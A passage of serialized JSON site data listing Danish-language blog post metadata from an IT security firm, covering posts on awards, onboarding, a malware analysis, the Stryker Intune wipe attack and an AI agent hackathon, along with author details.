forsvar.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[1517,1084,1474],"AI",{"id":1519,"title":1520,"author":1521,"cta":494,"description":1522,"hideInRecent":484,"layout":1039,"meta":1523,"moment":1524,"path":1528,"stem":1529,"tags":1530,"webcast":484},"content_da/posts/2026-07-22-isg-cybersecurity-2026.md","Leader og Rising Star. glueckkanja i ISG's Cybersecurity-undersøgelse 2026",[1278],"Ny i kvadranten og straks Leader: ISG Provider Lens®-undersøgelsen \"Cybersecurity – Services and Solutions 2026\" positionerer glueckkanja som Leader inden for Next-Gen SOC/MDR Services for mellemstore virksomheder i Tyskland. I det samlede marked for Next-Gen SOC/MDR Services udnævner ISG os til Rising Star, altså den leverandør, som analytikerne tror kan tage springet ind i Leader-kvadranten inden for de næste 12 til 24 måneder.",{"lang":1041,"date":1524,"categories":1525,"blogtitlepic":1526,"customExcerpt":1527},"2026-07-22",[1484],"head-isg-cybersecurity-2026.png","ISG Provider Lens®-undersøgelsen Cybersecurity 2026 udnævner glueckkanja til Leader i kvadranten Next-Gen SOC/MDR Services (Midmarket). I det samlede marked for Next-Gen SOC/MDR Services er vi Rising Star. ISG fremhæver vores vækst over gennemsnittet, vores dybe Microsoft-security-ekspertise og et 24/7-SOC drevet fra Tyskland.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[1490,1491,1046],{"id":1532,"title":1533,"author":1534,"cta":494,"description":1535,"hideInRecent":484,"layout":1039,"meta":1536,"moment":1537,"path":1540,"stem":1541,"tags":1542,"webcast":484},"content_da/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: Hvad AI virkelig skal have for at kunne arbejde",[1278],"En produktionsvirksomhed vil vide, hvilke af dens 14.000 SKU'er der faktisk er profitable. Svaret ligger i tre systemer, der aldrig har udvekslet et enkelt datapunkt med hinanden. Indtil for kort tid siden kostede det tre afdelinger, to uger og en del god vilje at få det. Siden begyndelsen af 2026 kan en AI besvare det spørgsmål på minutter: søge data igennem, skabe sammenhænge, producere en anbefaling. Forudsat at den har adgang.",{"lang":1041,"date":1537,"categories":1538,"blogtitlepic":1539},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[1517,131],{"id":1544,"title":1545,"author":1546,"cta":494,"description":1547,"hideInRecent":484,"layout":1039,"meta":1548,"moment":1549,"path":1553,"stem":1554,"tags":1555,"webcast":484},"content_da/posts/2026-07-01-onboarding-process.md","Kontrakten er skrevet under: Sådan forløber din onboarding hos os",[1369],"Hvordan forløber jeres onboarding egentlig? Det er et spørgsmål, vi støder på igen og igen i samtaler med ansøgere, for mange har oplevet, at en onboarding kan gå hakkende. Derfor er det så meget desto vigtigere for os, at du får en god fornemmelse helt fra begyndelsen.",{"lang":1041,"date":1549,"categories":1550,"blogtitlepic":1551,"customExcerpt":1552},"2026-07-01",[1484],"Onboarding_Blogheader","Kontrakten er skrevet under, det første store skridt er taget. Men hvad sker der nu? Vi tager dig med bag kulisserne i vores onboarding, fra PreBoarding til den første uge i teamet.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[1556,1557,1558],"Employer Branding","Onboarding","Unternehmenskultur",{"id":1560,"title":1561,"author":1562,"cta":494,"description":1563,"hideInRecent":484,"layout":1039,"meta":1564,"moment":1565,"path":1569,"stem":1570,"tags":1571,"webcast":484},"content_da/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: vi er blandt de få",[1278],"I Microsofts partner-økosystem findes der en lang række anerkendelser, og alligevel skiller Frontier Partner Badge sig ud fra de øvrige udmærkelser i sin anlæg. Man kan ikke ansøge om det, det tildeles på Microsofts eget initiativ til en eksklusiv kreds af partnere, som skal overbevise i flere discipliner parallelt i stedet for at brillere i en enkelt. Microsoft vurderer dokumenteret kompetence inden for Cloud & AI Platforms, AI Business Solutions og Security i lige høj grad og henvender sig dermed til virksomheder, der ikke opfatter AI som en påbygning på eksisterende IT, men som resultatet af en gennemgående arkitektur, der bærer fra identiteten over endpointet og helt ind i produktiv AI-drift.",{"lang":1041,"date":1565,"categories":1566,"blogtitlepic":1567,"customExcerpt":1568},"2026-06-26",[1484],"head-frontier-partner-badge.jpg","Microsoft AI Cloud Partner Program har for nylig fået en ny topudmærkelse, Frontier Partner Badge. Microsoft tildeler den udelukkende til en eksklusiv kreds af partnere verden over, som leverer bæredygtige AI-projekter på hele Microsoft-stakken, fra arbejdspladsen over cloud-platformen og security og helt ind i selve AI-anvendelsen, og som har dokumenteret det i praksis. I DACH-området tæller den gruppe kun en håndfuld virksomheder, og vi er en af dem.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[1490,1572,1517],"Microsoft Partner",{"id":1574,"title":1575,"author":1576,"cta":494,"description":1577,"hideInRecent":484,"layout":1039,"meta":1578,"moment":1579,"path":1583,"stem":1584,"tags":1585,"webcast":484},"content_da/posts/2026-06-09-vair-run.md","160 kilometer for en god sag",[1376],"Søndag morgen, klokken 8:30, Holbeinsteg ved Main. Elleve kolleger i ens NinjaCat-shirts, klar til Frankfurter Runden. Regn, lyn og torden inklusive. At løbe for en god sag var motivation nok til at snøre løbeskoene på trods af det dårlige vejr.",{"lang":1041,"date":1579,"categories":1580,"blogtitlepic":1581,"customExcerpt":1582},"2026-06-08",[1484],"frankfurter-runden.png","Elleve kolleger, 16 omgange, 160 kilometer, et tordenvejr og en podieplacering: glueckkanja var med til Frankfurter Runden 2026 og donerede for hver løbet omgang til VAIR e.V., der bygger en inkluderende sports- og kulturpark i Offenbach.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[1586,1556,1587],"Top Arbeitgeber","Soziales Engagement",{"id":1589,"title":1590,"author":1591,"cta":494,"description":1592,"hideInRecent":484,"layout":1039,"meta":1593,"moment":1594,"path":1598,"stem":1599,"tags":1600,"webcast":484},"content_da/posts/2026-04-10-incident-to-intelligence.md","Anatomien af en ukendt AMOS Stealer: fra alert til immunitet på timer",[1357],"Når en alert udløses i vores SOC, begynder uret at løbe: ikke kun for den berørte kunde, men for alle organisationer under vores beskyttelse. Det farligste øjeblik i det moderne trusselslandskab er Intelligence Gap, tidsvinduet mellem den første anvendelse af en ny malwarevariant og den dag, branchen hører om den.",{"lang":1041,"date":1594,"categories":1595,"blogtitlepic":1596,"customExcerpt":1597},"2026-04-10",[1046],"head-amos-stealer.png","En hidtil udokumenteret AMOS Stealer-variant kompromitterede et macOS-endpoint. Ingen kendte hashes, ingen C2-data i offentlige databaser. Vores SOC skilte seks obfuskeringslag ad, udtrak alle indikatorer og rullede beskyttelsen ud til alle SOC-kunder inden for timer, endnu før branchen overhovedet havde set samplet.","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[1601,1602,1603,1604,1605],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center",{"id":1607,"title":1608,"author":1609,"cta":494,"description":1610,"hideInRecent":484,"layout":1039,"meta":1611,"moment":1612,"path":1615,"stem":1616,"tags":494,"webcast":484},"content_da/posts/2026-03-21-microsoft-edge-corporate-browser.md","Derfor bør Edge være jeres eneste corporate browser",[1148],"Valget af browser er en strategisk beslutning i virksomhedsmiljøer, fordi det direkte påvirker, hvor meget sikkerhed og hvor stort et administrationsarbejde I reelt har. Google Chrome var længe den nærliggende mulighed, men Microsoft Edge har udviklet sig til en browser, der griber direkte ind i den eksisterende stak, især når Microsoft 365 er i brug, og administrationen kører gennem Intune.",{"lang":1041,"date":1612,"blogtitlepic":1613,"customExcerpt":1614},"2026-03-21","head-microsoft-edge-default-browser.jpg","Ingen virksomhed har for alvor valgt Chrome; den var der bare, med sin egen sync-logik, sin egen kontohåndtering og sin egen politikflade. Microsoft Edge griber derimod direkte ind i den infrastruktur, der alligevel kører: Entra ID, Intune, Defender. Dette indlæg viser, hvordan skiftet ser ud, hvordan Chrome omdirigeres til en landingpage via en Intune-politik, og hvad der falder væk, når man holder op med at drive to browsere parallelt.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":1618,"title":1619,"author":1620,"cta":494,"description":1621,"hideInRecent":484,"layout":1039,"meta":1622,"moment":1623,"path":1627,"stem":1628,"tags":1629,"webcast":484},"content_da/posts/2026-03-20-stryker-attack-intune-privilege.md","Én admin-konto var alt, hvad der skulle til.",[1252],"Onsdag den 11. marts 2026. Medarbejdere på Stryker-kontorer i 79 lande tændte deres computere og fandt dem tomme. Login-skærme erstattet af et logo. Firmabærbare, arbejdstelefoner, private enheder tilmeldt virksomhedens BYOD-program, alle slettet samtidig, natten over. Ingen ransomware, ingen malware-signaturer, intet, som et endpoint-detection-værktøj kunne have opdaget.",{"lang":1041,"date":1623,"categories":1624,"blogtitlepic":1625,"customExcerpt":1626},"2026-03-20",[1046],"head-stryker.jpg","Den 11. marts 2026 slettede Handala enheder i 79 lande, og alt, hvad der skulle til, var en kompromitteret Intune-admin-konto. Ingen malware, ingen exploit, kun legitime management-værktøjer vendt mod deres ejere. Hvad der skete, hvorfor det virkede, og hvilke to arkitektoniske huller der skal lukkes.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,1473,1474],{"id":1631,"title":1632,"author":1633,"cta":494,"description":1634,"hideInRecent":484,"layout":1039,"meta":1635,"moment":1636,"path":1640,"stem":1641,"tags":1642,"webcast":484},"content_da/posts/2026-03-16-ai-agent-hackathon.md","Seks agenter. Fire uger. Rigtig drift.",[1278],"Hvor mange timer bruger jeres IT-afdeling om ugen på opgaver, som en agent kunne klare på minutter?",{"lang":1041,"date":1636,"categories":1637,"blogtitlepic":1638,"customExcerpt":1639},"2026-03-16",[1484],"head-ai-agent-hackathon.jpg","Seks virksomheder, fire ugers byggefase, seks fungerende AI Agents. Det var den første glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa og lila logistik har bygget agenter i Copilot Studio, som kører produktivt i dag. Her er, hvad der kom ud af det, og hvordan formatet fungerer.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[1517,1643,1644,1645],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":1647,"Fritz Zurhorst":1648,"Nadine Klein":1649,"Jan Geisbauer":1650,"Carolin Kanja":1654,"Anna Ulbricht":1655,"Annette Brauns":1656,"Pascal Asch":1657,"Steffen Schwerdtfeger":1658},{"display_name":1117,"avatar":1118,"permalink":1119,"twitter":1120,"linkedin":1121,"imageOffsetTop":1122,"imageOffsetLeft":1123},{"display_name":523,"avatar":1093,"permalink":1094,"linkedin":1095,"imageOffsetTop":1096},{"display_name":524,"avatar":1112,"permalink":1113,"twitter":1114,"linkedin":1115,"imageOffsetTop":1096},{"display_name":1252,"avatar":1253,"permalink":1254,"twitter":1255,"linkedin":1255,"imageOffsetTop":1096,"socials":1651},[1652,1653],{"text":472,"href":1258},{"text":1260,"href":1261},{"display_name":1278,"avatar":1279,"permalink":1280,"twitter":1281,"linkedin":1282},{"display_name":1369,"avatar":1370,"permalink":1371,"linkedin":1372,"imageOffsetTop":1373,"imageOffsetLeft":1374},{"display_name":1376,"avatar":1377,"permalink":1378,"linkedin":1379,"imageOffsetTop":1380,"imageOffsetLeft":1122},{"display_name":1357,"avatar":1358,"permalink":1359,"linkedin":1360,"imageOffsetTop":1195},{"display_name":1148,"avatar":1149,"permalink":1150,"linkedin":1151,"twitter":1152,"imageOffsetTop":1153,"imageOffsetLeft":1154},{"id":1088,"extension":1089,"meta":1660,"stem":8,"__hash__":1438},{"Fritz Zurhorst":1661,"Nadine Klein":1662},{"display_name":523,"avatar":1093,"permalink":1094,"linkedin":1095,"imageOffsetTop":1096},{"display_name":524,"avatar":1112,"permalink":1113,"twitter":1114,"linkedin":1115,"imageOffsetTop":1096},1791383910845]